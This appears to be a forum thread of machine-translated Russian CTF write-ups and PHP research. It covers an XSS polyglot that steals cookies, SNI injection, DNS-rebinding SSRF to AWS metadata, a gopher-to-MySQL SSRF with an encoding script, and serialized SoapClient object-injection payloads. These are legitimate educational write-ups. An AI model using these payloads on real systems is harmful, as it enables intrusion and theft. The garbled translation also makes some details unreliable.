Интересные отчёты

[BabaDook]

Для PlaidCTF несколько недель назад я создал серию проблем под названием «idIoT». В этой серии задач игроки получили возможность атаковать два веб-сайта: Google Home, FTP-сервер, WiFi-камеру и Particle Photon. Участники, похоже, наслаждались этими проблемами, поэтому я подумал, что сделаю небольшую рецензию на создание этих проблем и свое собственное руководство по решению, как тот, который Зак сделал для S-Exploitation на прошлой неделе .
вдохновение
Сначала я попытался решить проблему CTF с помощью Google Assistant в конце осени 2017 года. Первоначальный план состоял в том, чтобы выполнить довольно стандартную проблему XSS, которая требовала от злоумышленников использования Web Speech API для взаимодействия со смарт-динамиком. Однако я понял, что мне нужно предоставить доступ к микрофону злоумышленника, чтобы записать ответ Google Assistant, который по соображениям конфиденциальности имеет смысл только на сайте, на котором уже было разрешение пользователя использовать микрофон. Это привело к идее создать Clipshare, сайт для обмена аудио, используемый в этой проблеме.
Много позже (примерно в феврале или около того) мне пришло в голову, что это может сделать более интересную проблему, если я сделал XSS нетривиальным. Вдохновленный некоторыми предыдущими работами, которые я видел в файлах полиглота, я искал некоторые форматы аудиофайлов, чтобы определить, возможна ли такая атака, и, к моему удивлению, это было даже довольно просто (но об этом позже).
Идея сделать проблему с фотоном Photon и прикрепленной к нему светодиодной полосой пришла ко мне независимо друг от друга примерно в то же время, что и первоначальная идея Google Assistant. У меня на самом деле был фотон со светодиодной лентой, почти идентичной проблеме в моей квартире, и однажды я в шутку сказал, чтобы установить шаблон на -1, и засмеялся от того, что я просачивал память. Посмотрев на доступную информацию, хранящуюся на Photon, я понял, что теоретически может просочиться секретный ключ Частицы, а затем выдать себя за Фотон, чтобы публиковать события, и решил сделать это сложной задачей.
Вторая часть задачи, FTP-сервер с Wifi-камерой, была создана гораздо позже, чтобы связать две части вместе. Первоначальная концепция заключалась в создании пользовательской Wifi-камеры с использованием Raspberry Pi, которая позволила бы пользователю получить доступ с помощью ошибки заголовка, которая позволила бы им вставлять заголовки CORS и, следовательно, делать запросы с хоста Clipshare. Тем не менее, я счел это слишком дорогостоящим для преследования, поэтому вместо этого решил использовать некоторые дешевые готовые Wifi-камеры, к которым у меня был доступ для некоторых несвязанных работ. Тем не менее, каждый разумный эксплойт на самих камерах обеспечивал бы корень злоумышленников, что слишком упростило бы надолго устранить проблему. Поэтому я решил, чтобы они атаковали простой сбрасываемый FTP-сервер.
Решение
Часть 1 (Действие)
Нам предоставляется веб-сайт Clipshare и пользователь для атаки. Описание проблемы указывает, что нам нужно получить доступ к клипам этого пользователя, чтобы заставить их ждать на странице достаточно долго, чтобы поговорить с Google Домой. Высунувшись, мы обнаруживаем, что если мы добавим пользователя в качестве друга, мы получим возможность обмениваться с ними клипами. Это указывает на то, что это, вероятно, проблема XSS.
Тестирование всех полей в форме создания клипа означает, что поле описания тривиально инъектируется (т. Е. Оно даже не содержит каких-либо фильтров, поэтому вы можете просто написать HTML прямо в описании). Однако, Content-Security-Policyэто довольно строго:

Content-Security-Policy content_copyContent-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'

Поэтому, если мы хотим выполнить JS, нам нужно иметь JS-файл на месте. Поэтому нам, вероятно, необходимо загрузить JS-файл через функцию загрузки аудио.
Однако это создает две проблемы. Во-первых, аудиофайл проверяется с помощью неизвестного процесса (загрузка файла мусора приводит к ошибке «недопустимого звукового файла»), поэтому загрузка JS напрямую не будет работать. Во-вторых, сервер Apache обслуживает аудиофайлы с соответствующими audio/*типами MIME, которые Chrome отказывается выполнять.
Apache выбирает, какой тип MIME использовать на основе расширения файла; Однако, сервер проверяет расширение загруженного файла перед его сохранением, и , следовательно , этот файл должен быть один из .wav, .wave , .mp3, .ogg, или .webm. Попытка все это, оказывается, что Apache не распознает .waveаудиофайл WAVE по умолчанию и поэтому обслуживает его без MIME-типа, что позволяет нам выполнять его как JS с <script>тегом!
Это возвращает нас к первому выпуску сервера, проверяющего аудиофайлы через неизвестный процесс; однако, как оказалось, нам не нужно использовать валидатор, так как можно построить допустимый полиглот JS / WAVE, используя поле длины, чтобы прокомментировать все заголовки, а затем внедрить нашу полезную нагрузку в аудиоданные:
Для записи процесс проверки состоял в том, чтобы просто запустить файл ffmpeg -v error -i path-to-uploaded-file -f null - 2>&1и проверить ненужный код выхода. Таким образом, вы можете загрузить любойтип файла, распознанный ffmpeg, поскольку проверка расширения файла не зависела от проверки файла!

Поэтому мы можем использовать следующие шаги, чтобы получить файл cookie целевого пользователя, чтобы увидеть их клипы:

1. Создайте новый клип с *.waveполиглотом, содержащим полезную нагрузку, которая отправляет нам файл cookie цели
2. Создайте второй клип с описанием <script src='/uploads/path-to-first-audio-file.wave'></script>
3. Поделитесь вторым клипом с целевой

Это дает нам cookie цели, который мы можем использовать для олицетворения цели и прослушивания их клипов. Первый клип сообщает нам триггерную фразу для получения флага - «О'кей, Google, что это за флаг?», А второй говорит нам, что включение слова «лопаток» в описание нашего клипа заставит целевое ожидание на странице для дольше. Теперь нам нужно использовать наш XSS для утечки флага:

1. Создайте новый клип с *.waveполиглотом, содержащим полезную нагрузку, которая записывается из микрофона в течение примерно 12 секунд, а затем отправляет его на сервер, которым мы управляем
2. Создайте второй клип, звук которого запись вас, говорящего «Хорошо, Google, что такое флаг?» И чье описание spatulate <script src='/uploads/path-to-first-audio-file.wave'></script>
3. Поделитесь вторым клипом с целевой

​

Я провел много времени в комнате с настройкой Google Home, и у нее, казалось, были некоторые проблемы с пониманием команды у некоторых конкурентов. Это было несколько способов. Я сказал всю ключевую фразу (включая «горячее слово» «ОК») в одном из клипов, чтобы вы могли просто загрузить эту часть аудиофайла. Другим способом является то, что большинство текстовых речевых голосов правильно декодируются Home, поэтому вы можете просто загрузить запись TTS с полной командой.​

Обратите внимание, что большая часть кода, который вам нужен для записи микрофона, уже доступна на месте через функцию «записать клип».
Если все пойдет хорошо, вы должны получить запись, в которой Google Home отвечает «флагом P ... C ... T ... F ... открыть скобку ... нет ... подчеркнуть ... так ... подчеркнуть ... умный ... закрыть скобку», указав флаг PCTF{not_so_smart}.

 

[BabaDook]

Часть 2 (Камера) - Предполагаемое решение
Во второй части нам дается бинарный файл FTP-сервера, запущенный на машине клиента на порту 1212 для атаки. После некоторого реверса мы находим следующее:

• Сервер представляет собой довольно простой, только для записи, только FTP-сервер с пассивным режимом, который хранит все файлы в постоянном местоположении.
• Имя пользователя и пароль не проверяются и не требуются.
• Есть дополнительная команда, IPкоторая изменяет IP-адрес, используемый сервером для пассивного режима. Вы можете использовать его только при подключении 127.0.0.1.
• У IPкоманды есть ошибка, которая позволяет команде работать без пробела перед аргументом и без строки новой строки, непосредственно следуя за аргументом - так что IP1.2.3.4xxxбудет установлен IP 1.2.3.4.
• Сервер закрывает соединение , если он принимает строку , начинающуюся с GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, или PATCH.
• У сервера есть ошибка, которая заставляет его разделять команды не только, \r\nно и на нулевые байты.

Запрет почти любого общего HTTP-глагола предотвращает какой-либо прямой HTTP-запрос на сервер, так как первая строка запроса начинается с глагола. Он также предотвращает соединение с веб-сайтами, поскольку квитирование через websocket выполняется по HTTP-запросу. Однако это не мешает подключению HTTPS, так как это не будет начинаться с HTTP-глагола.
Однако можно ли вставить команду в запрос HTTPS? Поскольку FTP-сервер не будет отвечать действительным ответом на подтверждение, он должен быть в рукопожатии. Здесь отличныйответ SSRF от Orange дает нам ответ - мы можем использовать указание имени сервера (SNI) в рукопожатии, чтобы поместить данные открытого текста в рукопожатие HTTPS! Примечательно, что SNI предшествует 16-разрядное поле длины большого конца (несмотря на то, что поле, длина которого измеряется не более 255), поэтому мы можем использовать старший байт поля длины SNI для запуска новой команды и затем используйте младший байт и сам SNI для создания IPкоманды:

Таким образом, если мы отправим HTTPS-запрос на вышеупомянутый хост на порту 1212, IP-камера отправит нам свои изображения вместо ожидающего пассивного порта FTP-сервера, предоставив нам изображение внутри поля с флагом, записанным на сторона: PCTF{d0nt_b3_a_SNItch}.
Часть 2 (Камера) - Непреднамеренное решение
У камеры FTP действительно есть еще одна ошибка, которую я не перечислял выше: строки автоматически заканчиваются после 8095 символов, и все, что находится за пределами этой точки, будет интерпретироваться как часть следующей строки. Поэтому мы можем просто перенаправить браузер на ftp://URL с достаточно длинным именем пользователя; просто установите его на любые 8187 символов, за которыми следует IPyour.ip.goes.here; то USERлиния будет отключена, а строка IP будет интерпретирована как ее собственная команда.
Мы на самом деле нашли и исправили эту ошибку во время тестирования, но, видимо, я снова ее ввел, когда я восстанавливал окончательный двоичный файл на одном из ботов XSS.
Это также даст нам флаг для Части 2, но не будет работать для Части 3, как мы увидим через минуту.
Часть 3 (Свет)
Нам предоставлен ряд файлов:

• Программа Arduino, работающая на частице фотона
• Свалка фотонной вспышки, с некоторыми отрывками
• Простая панель инструментов HTML
• Текстовый файл с полезными примечаниями

Посмотрев на панель инструментов HTML, она, похоже, прослушивает события Частицы для определенного идентификатора устройства. Поэтому нам, вероятно, нужно либо отправить сообщение Photon на мероприятие, либо выдать себя за устройство и опубликовать мероприятие самостоятельно. Однако, если мы можем опубликовать событие, то получение флага довольно легко - мы можем вставить сломанное изображение, а затем в onerrorсообщение весь текст страницы на сервер, которым мы управляем.
У программы нет очевидной ошибки, которая бы давала нам IP-контроль, но имеет прямое внеочередное ограничение при доступе к шаблону по индексу. Используя это, мы можем протечь любую память, на которую у нас есть указатель, установив индекс шаблона таким образом, чтобы он использовал указатель в качестве своего указателя данных.
Проверяя дамп флэш-памяти и перекрестно привязывая его к документам Particle, похоже, что раздел, который был изгнан, был закрытым ключом устройства (оба раза он появляется). Используя этот закрытый ключ, мы должны иметь возможность выдавать себя за устройство для создания собственного события.
Объединяя эти идеи, разумный план атаки заключается в утечке закрытого ключа устройства на светодиодах и использовании изображений, которые мы получаем с IP-камеры, посредством нашей атаки в части 2, чтобы восстановить ключ. Во-первых, это потребует от нас изменить нашу атаку из части 2, чтобы дать нам полный поток 3fps, а не одно изображение; это можно сделать с помощью предполагаемой атаки, а затем также с одновременным отправкой браузером HTTP-соединений, чтобы сервер FTP не ожидал входящих данных. Это дает нам около 120 изображений при каждом подключении, из которых около 100 будут содержать действительно полезные данные.http://localhost:22222
Теперь у нас возникает проблема: у нас нет указателя на закрытый ключ, который мы можем использовать для построения шаблона! Тем не менее, наши заметки дают нам адрес, где хранится имя шаблона, поэтому, если мы можем написать имя, похожее на действительную структуру паттерна, то мы можем использовать наши внешние ограничения из более ранних версий:
С content_copytypedef struct {
uint32_t flags;
char* name;
uint32_t* colors;
} pattern;

Однако мы сразу сталкиваемся с другой проблемой, так как нам нужно установить шаблон, выступив с ним в Google Домой. Это означает, что мы не можем вставлять произвольные строки в качестве нашего шаблона; только то, что будет выводиться из Google Home правильно! Хуже того, любой указатель, который поставил бы нас ближе к соответствующим частям секретного ключа, должен был содержать байт того 5eили другого, или 9eпервый из которых является особым символом ( ^), а последний из которых даже недействителен ascii!
Существует два пути. Тот, который я произвел для атаки, заключается в использовании того факта, что Google переведет emoji для получения необходимых байтов; например, если вы скажете «О'кей, Google, задайте шаблон, чтобы называть« egg emoji », тогда шаблон будет установлен в строку "". В частности, я построил указатель на закрытый ключ, используя «разочарованный face emoji» (), который кодируется UTF-8 f0 9f 98 9e. Используя это с другими подходящими словами, мы можем построить структуру шаблона:

Удобно 0000989eуказывает на часть закрытого ключа непосредственно перед этим p; утечка pчерез этот процесс позволит нам легко определить qи восстановить dи другие компоненты ключа в формате ASN.1.
Другой способ (обнаруженный Робертом Сяо во время тестирования) заключается в том, что Google Assistant переведет «во власть» в каретку, предоставив необходимый 5eбайт. С помощью аналогичного процесса, описанного выше, мы можем сразу прочитать память 00005e20, что ставит нас частично через частный экспонент; мы можем восстановить остальную часть экспоненты (и остальную часть ключа), используя некоторые криптоактивные атаки.
Таким образом, мы можем заставить светодиоды течь частями закрытого ключа, используя следующие две команды:

1. «О'кей, Google, установите светодиодный шаблон, чтобы назвать« признать разочарованное лицо эможи »(это загружает нашу фальшивую структуру в SRAM по адресу, указанному в текстовом файле« полезные заметки »)
2. «О'кей, Google, установите светодиодный шаблон для индекса 78250547» (этот индекс может быть вычислен с использованием известного адреса нашей строки в SRAM и начального индекса массива шаблонов, который вы можете выяснить из дампа вспышки)

Закрытый ключ затем может быть восстановлен ручная перерисовка светодиодные цвета от видео в соответствующие 2-битные куски, а затем выясняют, как они подходят друг к другу для создания просочившейся памяти.

Я на самом деле написал сценарий, который использовал дерево J48 для классификации светодиодов для тестирования. Он был примерно на 98% точным с 4-цветной палитрой, даже с ужасным цветовым балансом IP-камеры! Однако я не думаю, что время, затраченное на то, чтобы сделать работу модели, было бы оправдано для конкурента.​

Используя этот восстановленный закрытый ключ, нам просто нужно выдавать себя за Particle на device.spark.ioсервер. Самый простой способ сделать это - переопределить части библиотеки сообщений Particle, посмотрев на ее источник (обратите внимание, что его документы часто вводят в заблуждение или ошибочны, следовательно, подсказка в файле «полезные заметки»). Затем мы можем протестировать локальное облакоискрового сервера, пока мы не получим его правильно, а затем запустим его против реального сервера, как только у нас все получится. Однако, если мы олицетворяем Photon, он будет отключен от облака и немедленно попытается снова подключиться, что приведет к тому, что наше соединение упадет, прежде чем мы сможем опубликовать событие; если мы заставляем Фотон сбоев, однако, мы можем опубликовать наше мероприятие в то время как он мигает код ошибки, что позволяет нам размещать наши XSS полезной нагрузку и получить флаг: PCTF{U+1F449_ooO00Oh_4hhh_pr3ttY_cOl0rs_U+1F448}.

 

[BabaDook]

Проблемы и извлеченные уроки
Хотя проблема была в целом хорошо воспринята (это был один из наиболее распространенных ответов на вопрос «Какова была ваша любимая проблема» в форме обратной связи), это определенно не лишено своей доли вопросов. Самый очевидный из вышеперечисленных комментариев был случайно оставлен в непреднамеренном решении части 2, но это было далеко от самой большой проблемы.
idIoT: Действие планировалось выпустить в начале соревнования. Тем не менее, настройка ботов для ноутбуков XSS оказалась очень нетривиальной задачей, так как только одна из трех настроек фактически установила Ubuntu (остальные были заимствованы и должны были быть возвращены, и, таким образом, они загружались с живых USB-устройств). Вот почему в течение долгого времени существовал только один бот XSS: это был единственный ноутбук, для которого не требовались внешние носители (которые я забыл подготовить достаточно далеко вперед) для запуска.
Возраст самих ноутбуков также был проблемой; нам пришлось полностью перезапустить работу над двумя ботами, так как неисправное оборудование смогло повредить два живых USB-устройства. Это также почему второй бот не был стабильным и до 9 часов в соревновании.
Было также много проблем, связанных с созданием ящиков Photon, но, к счастью, эти проблемы не повлияли на конкуренцию, так как это было так долго, прежде чем какая-либо команда достигла этой части проблемы. Удивительно, но почти не возникало проблем с запутыванием дерьмовых IP-камер, хотя я ожидал, что это будет довольно сложной задачей.
Возможно, самая большая проблема заключалась в балансировании третьей части проблемы. К тому времени, когда какая-либо команда сделала это с этой частью, это, вероятно, было не очень выполнимо, так как эксплойт весьма востребован; насколько я знаю, большинство команд предпочли не прилагать к нему больших усилий, что, вероятно, было разумным выбором. Я мог бы сказать, что это был неудачный результат от соревнований всего 36 часов вместо обычных 48, но у меня было достаточно предварительного уведомления об этом изменении, которое я должен был соответствующим образом скорректировать.
В целом, я доволен тем, как возникла проблема, но я почти наверняка никогда ничего подобного не делаю. (Я думаю, что я сказал Заку, чтобы пронзить меня, если я когда-нибудь попытаюсь сделать еще один вызов в аппарате примерно двадцать раз.) Надеюсь, всем было так весело играть в этот вызов, как я собрал его!


ИСТОЧНИК: https://dttw.tech/posts/r1jswRaAG

 

[BabaDook]

Security Fest 2018 - Pongdom
1 июня 2018 года• jbz • Веб

Даже AI требует проверки работоспособности.​

Эта задача была действительно тривиальной, даже если она была решена только 8 командами.
Solves: 8
Service: http://pongdom.alieni.se:3002/

Author: avlidienbrunn

2018-05-31 11:59:15 marqueexss
2018-06-01 00:36:08 jbz
2018-06-01 11:44:31 dcua

После регистрации и входа в службу вы можете отправить URL-адрес, и служба просто сделает HTTP GETзапрос, чтобы проверить, не вверх или вниз, и покажет вам несколько байтов ответа.
В качестве первой попытки мы представили ссылку Burp Collaborator для просмотра всех взаимодействий, и у нас есть два DNS-запроса типа Aи HTTP GETзапроса.
Теперь мы можем просто предположить, что сервер сначала пытается разрешить домен (возможно) проверить, разрешен ли он ресурс, чем фактический запрос.
Мы также заметили, что IP-адрес был от AWS istance, это означает, что, если мы сможем получить SSRF (Подсказка запроса на стороне сервера), мы можем взаимодействовать с API AWS.
Поэтому мы попытались ввести http://169.254.169.254.xip.ioURL-адрес, но мы сразу получили сообщение об ошибке:
Forbidden hostname!
Пришло время для состояния DNS-гонки!
Мы создали две записи DNS типа A:
aws.jbz.swag. 59 IN A 8.8.8.8
aws.jbz.swag. 59 IN A 169.254.169.254

Затем мы отправили в http://aws.jbz.swag/latest/user-dataкачестве URL-адреса, надеясь, что сервер получит 8.8.8.8как первое разрешение DNS, которое обходит проверку IP- адреса и 169.254.169.254второе разрешение DNS, что даст нам конфигурацию AWS istance.
Нам посчастливилось выиграть гонку с первой попытки, а каббуома - сообщение о том, что URL был правильно добавлен!
Затем мы перешли на страницу состояния, и там был флаг:: SCTF{w@fflez_w1th_cl0udb3rryj@m}

Источник:https://jbzteam.github.io/securityfest2018/Pongdom

 

[BabaDook]

Отчёты с H1 на русском. Книга

 

[BabaDook]

https://lud1161.wordpress.com/2018/06/25/cat-chat-google-ctf-2018/

 

[BabaDook]

ISITDTU CTF 2018 - Friss Writeup
by Guilherme "k33r0k" Assmann

Этот вызов случился в эти выходные, и я наслаждался тем, что он решил, также получил первую кровь здесь

Сначала было не так много, чтобы играть, у нас был вход и кнопка, в основном указывающая на то, что у нас был завиток. Первое, что я попробовал, это отправить что-то на google.com и ожидать некоторого значения в ответ:

Кажется, что мы можем отправлять вещи только на localhost, поэтому, погружаясь глубже, мы можем найти небольшой байпас для этого. Положите, что приложение не блокирует обертки, мы можем использовать file://здесь:

php > var_dump(parse_url('file://localhost/../var/www/html/index.php"')); array(3) { ["scheme"]=> string(4) "file" ["host"]=> string(9) "localhost" ["path"]=> string(27) "/../var/www/html/index.php"" }

Хорошо, получил исходный код индекса, давайте посмотрим:

include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
    $url = $_POST['url'];
    $content_url = getUrlContent($url);
}
else
{
    $content_url = "";
}
if(isset($_GET['debug']))
{
    show_source(__FILE__);
}

<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

Всегда интересно, когда у нас есть пользователи, пароли и такие доступные в коде. Давайте сохраним их, поскольку они могут быть полезны позже.

Анализируя эту initdb()функцию, мы можем заметить, что она создает таблицу flagс секретным столбцом в базе данных, если она еще не существует.

safe()Функция получения URL проверочной, через parse_url(), если хост совпадает localhostили 127.0.0.1, любой другой сложнее проверить здесь.

В этой getUrlContent()функции я признаю, что даже рассмотрел новый способ обхода escapeshellarg()команд ввода, но это не имеет никакого смысла. Читая эту функцию, мы можем заметить, что она использует escapeshellarg()(чтобы делать то, что имя говорит нам об этом), прежде чем вызывать shell_exec()и возвращать ее пользователю.

Учитывая possibilites это было очевидно для меня , что я должен настаивать на SSRF и , возможно , узнать, какой доступный протокол , который я мог бы воспользоваться , чтобы , возможно , получить оболочку, поэтому я попытался ftp://, ssh://, dict://и gopher://...

Я уже изучил так много разных способов получить оболочку с gopher, используя ее по redis или fastcgi, но я никогда не делал этого с mysql. Я нашел несколько статей, указывающих, что некоторая часть формата пакета myslq при отправке через стек TCP будет той, которую mysql поймет, если мы можем отправить ее через URL-адрес. Так много для абстрактных разговоров, давайте посмотрим, как это работает в реальной жизни. До этого давайте создадим пользователя, как и в ssrf_userвызове, в нашем mysql:

mysql> CREATE USER 'ssrf_user'@'localhost'; Query OK, 0 rows affected (0,07 sec)

mysql> GRANT USAGE ON *.* TO 'ssrf_user'@'localhost'; Query OK, 0 rows affected (0,01 sec)

mysql> GRANT ALL PRIVILEGES *.* TO 'ssrf_user'@'localhost'; Query OK, 0 rows affected (0,10 sec)

Теперь мы можем двигаться вперед. Давайте запустим wirehark, чтобы увидеть, как будет вести себя протокол при отправке mysql соединения и запроса на вход:

Я мог бы получить успешный логин, но я заметил, что mysql моего Mac генерирует пакет соединений совершенно другим способом от оригинала. Он был слишком велик для входа в систему, поэтому я начал использовать Ubuntu с mysql вместе с wirehark, чтобы проверить это, но мы должны были выбрать пакет последнего сегмента, показанный wirehark, той частью, которая делает попытку входа в систему:

Мы можем разделить пакет myslq на две части, соединение и выполнение команды. Здесь у нас есть только часть соединения:

С этого момента мы должны сделать этот поворот в URL, и самый простой способ сделать это - использовать Show and save data asвход и установить его Raw:

Итак, теперь мы должны закодировать все это в правильном формате для URL. Это не сложно, просто добавьте %каждые два байта, и я нашел скрипт, который делает это для нас:

def result(s): a = [s[i:i+2] for i in xrange(0, len(s), 2)] return "curl gopher://127.0.0.1:3306/_%" + "%".join(a) if __name__ == "__main__": import sys s = sys.argv[1] print result(s)

Похоже, что это сработало, но, как я уже упоминал ранее, создается таблица базы данных с установленным секретным флагом. Поэтому мы сбрасываем его с помощью gopher. Мы изменим нашу команду входа в систему

mysql -h 127.0.0.1 -u ssrf_user -e "use ssrf; select secret from flag"

Взглянув на новый пакет, мы можем даже увидеть запрос, который будет выполнен. После повторного завершения всего процесса с использованием этого нового пакета мы наконец получили флаг:

Источник: https://fireshellsecurity.team/isitdtu-friss/

 

[BabaDook]

Инъекция объектов PHP: загрязнение с помощью SOAP

В последнее время я некоторое время провожу время на PHP, особенно с упором на проблемы, которые могут быть использованы в контекстах Object Injection ; более конкретно, для моих исследований я решил ориентироваться на встроенный класс SoapClient, поскольку у него уже было прошлое с точки зрения интересных результатов.

Для ребята из TL; DR : я обнаружил утечку информации RCE + , пару разыменований указателей NULL, фильтрацию памяти и т. Д., Чтобы расширить свою поверхность атаки; все проблемы исправлены с использованием PHP 5.6.12 / 5.5.28 / 5.4.44.

Этот пост будет охватывать только последние два, которые, несмотря на то, что они имеют менее сильное влияние по сравнению с RCE, вероятно, более интересны для обсуждения с точки зрения эксплуатации. Наконец, прилагается небольшое PoC, демонстрирующее возможную атаку на SMF(надо сказать, что у Филиппо и у меня наверняка были реальныеболь это интересно).

обновление: оказалось, что существует еще один возможный RCE , зарегистрированный и исправленный в PHP 5.6.13 / 5.5.29 / 5.4.45

Извините PHP, вы не мой тип

Первый недостаток был легко распознан , состоящий в путанице типа в make_http_soap_request () , где элементы из массива данных считаются строками без проверки типа.

if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) == SUCCESS &&
    Z_TYPE_PP(cookies) == IS_ARRAY) {
 
...
 
zend_hash_get_current_data(Z_ARRVAL_PP(cookies), (void **)&data);
zend_hash_get_current_key(Z_ARRVAL_PP(cookies), &key, NULL, FALSE);
 
if (Z_TYPE_PP(data) == IS_ARRAY) {
    zval** value;
 
    if (zend_hash_index_find(Z_ARRVAL_PP(data), 0, (void**)&value) == SUCCESS &&
      Z_TYPE_PP(value) == IS_STRING) {
        zval **tmp;
        if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE ||
          strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) &&
          (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE ||
          in_domain(phpurl->host,Z_STRVAL_PP(tmp))) &&
          (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) {
            smart_str_appendl(&soap_headers, key, key_len-1);
            smart_str_appendc(&soap_headers, '=');
            smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value));
            smart_str_appendc(&soap_headers, ';');
        }
    }
  }

Часть кода, приведенная выше, предназначена для проверки того, соответствуют ли флаги « путь » и « домен » определенного файла cookie с теми же, которые были извлечены из URL-адреса, с запросом на мыло; в случае, если это так, cookie отправляется вместе с запросом, поэтому он добавляется в soap_headers как « name = value; «.

Путаница типа происходит каждый раз, когда tmp получает доступ через один из макросов Z_STR * _PP ; Данных массив, TMP извлекается из поступает непосредственно из _cookies области SoapClient объекта, который в сценарии Injection объекта является то , что поставляемые пользователем (для тех , кто не знаком с PHP unserialization логики, это означает , что один способен а также тип PHP-уровня). Например:

O:10:”SoapClient”:3:{s:3:”uri”;s:1:”a”;s:8:”location”;s:22:”http://localhost/a.xml”;s:8:”_cookies”;a:1:{s:12:”this-is-data”;a:3:{i:0;s:13:”random-string”;[B]i:1;i:1337;i:2;O:8:”stdClass”:0:{}[/B]}}}[/I]

неэтеризация полезной нагрузки выше приведет к тому, что tmp будет числовым значением сначала и объектом тогда.

Чтобы лучше понять, почему такие ситуации приводят к произвольному доступу к памяти для чтения, вы должны взглянуть на некоторые основы внутреннего языка PHP (по крайней мере, на упомянутые выше макросы zval struct и Z_STR * ), но для этого сообщения вам просто нужно знать, что , когда в Z_STRVAL_ * вводится числовой типизированный zval , его значение разыменовывается как указатель на получение содержимого строки; придерживаясь предыдущего примера: доступ к памяти по адресу 1337.

 

[BabaDook]

Итак, читайте доступ к памяти, конец истории?

Ну, это не так просто. Если вы обратили внимание достаточно, вы, возможно, заметили, что у пропущенного содержимого памяти, похоже, нет возможности дотянуться до нападавшего: на самом деле он не добавляется к soap_headers каким-либо образом. Он появляется только при оценке следующих операторов if

soap/php_http.cC

strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp))

strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp))

in_domain(phpurl->host,Z_STRVAL_PP(tmp))

где in_domain определяется как

static int in_domain(const char *host, const char *domain)
{
  if (domain[0] == '.') {
    int l1 = strlen(host);
    int l2 = strlen(domain);
    if (l1 > l2) {
        return strcmp(host+l1-l2,domain) == 0;
    } else {
      return 0;
    }
  } else {
    return strcmp(host,domain) == 0;
  }
}

В основном два сравнения строк. Хорошей новостью является то , что phpurl , предоставляющий хост , заполняется значениями, полученными из наших полей Object, так что в обоих случаях также предоставляется первый параметр сравнения. Кроме того, поскольку результат сравнений оказывает прямое влияние на выход через отправляемый файл cookie, мы можем использовать его в качестве скрытого канала для вывода содержимого пропущенной части памяти.

Подводя итог: мы контролируем значение первого параметра, адрес второго и способ получить результат сравнения строк, таким образом, мы можем:

• исправить адрес памяти и выполнить итерацию первого параметра, чтобы угадать содержимое, соответствующее одному байту за раз.
• исправить строку и повторить второй параметр, чтобы найти его адрес в памяти, если он есть.

Хотя, есть некоторые ограничения , которые мы должны рассмотреть: в числовом ZVAL в str.len поле значение ( которое является то , что Z_STRLEN_PP полагается на) всегда устанавливается равным 0, что делает strncmp () непригодным для использования (если у вас есть какой - то обходной путь , это было бы здорово, если бы ты меня пинал); мы все еще можем использовать сравнение in_domain , но если вы посмотрите на природу первых параметров ( путь против хоста) , вы заметите, что путь был бы гораздо менее ограничительным. Фактически, так будет идти поток эксплуатации:

• Специально созданный объект SoapClient становится неэтериализованным.

unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');

• местоположение проверяется через php_url_parse (), и соединение с ним выполняется http_connect (); Когда поток успешно открыт, запрос POST встроен в soap_headers.
• strncmp () между « a.xml » и содержимым, полученным из адреса памяти 1337, с 0 в качестве третьего аргумента.
• in_domain () с " localhost ", а контент из 1337 в качестве аргументов
• если сравнение выполнено успешно, « сравнение = истина » прикрепляется как заголовок Cookie к запросу POST.
• запрос выполняется на " http: //localhost/a.xml "

Таким образом, прежде всего, местоположение должно быть реальным достижимым хостом, или функция будет прервана с ошибкой « Не удалось подключиться к хосту »; Кроме того, нам нужно, чтобы он находился под нашим контролем, чтобы проверить наличие файла cookie, указывающего на результат сравнения, резко уменьшая пространство жутких строк.

К счастью, SoapClient поставляется с возможностью установки прокси; таким образом, http_connect () будет работать над ним, в то время как сравнение будет по-прежнему выполняться против значения местоположения .

unserialize('O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:13:"http://SECRET";s:11:"_proxy_host";s:6:"myhost";s:11:"_proxy_port";i:8080;s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');

Полезная нагрузка выше будет сравнивать « SECRET » с контентом, найденным по адресу 1337, и отправить запрос на http: // myhost: 8080 .

Расширение поверхности атаки

Прежде всего, о какой поверхности атаки мы говорим? Как я уже говорил в первых строках, во время этого исследования я изучал объектные инъекции, поэтому мы в основном заинтересованы в функциональности, используемой в качестве гаджетов PHP.

Если вы измените путь кода, чтобы достичь make_http_soap_call (), вы легко закончите метод магии __call SoapClient .

От php.net:

__call () запускается при вызове недоступных методов в контексте объекта.​

Таким образом, в сценарии инъекции объектов запускать уязвимость потребует чего-то вроде

$o = unserialize($tainted);
$o->whatever();

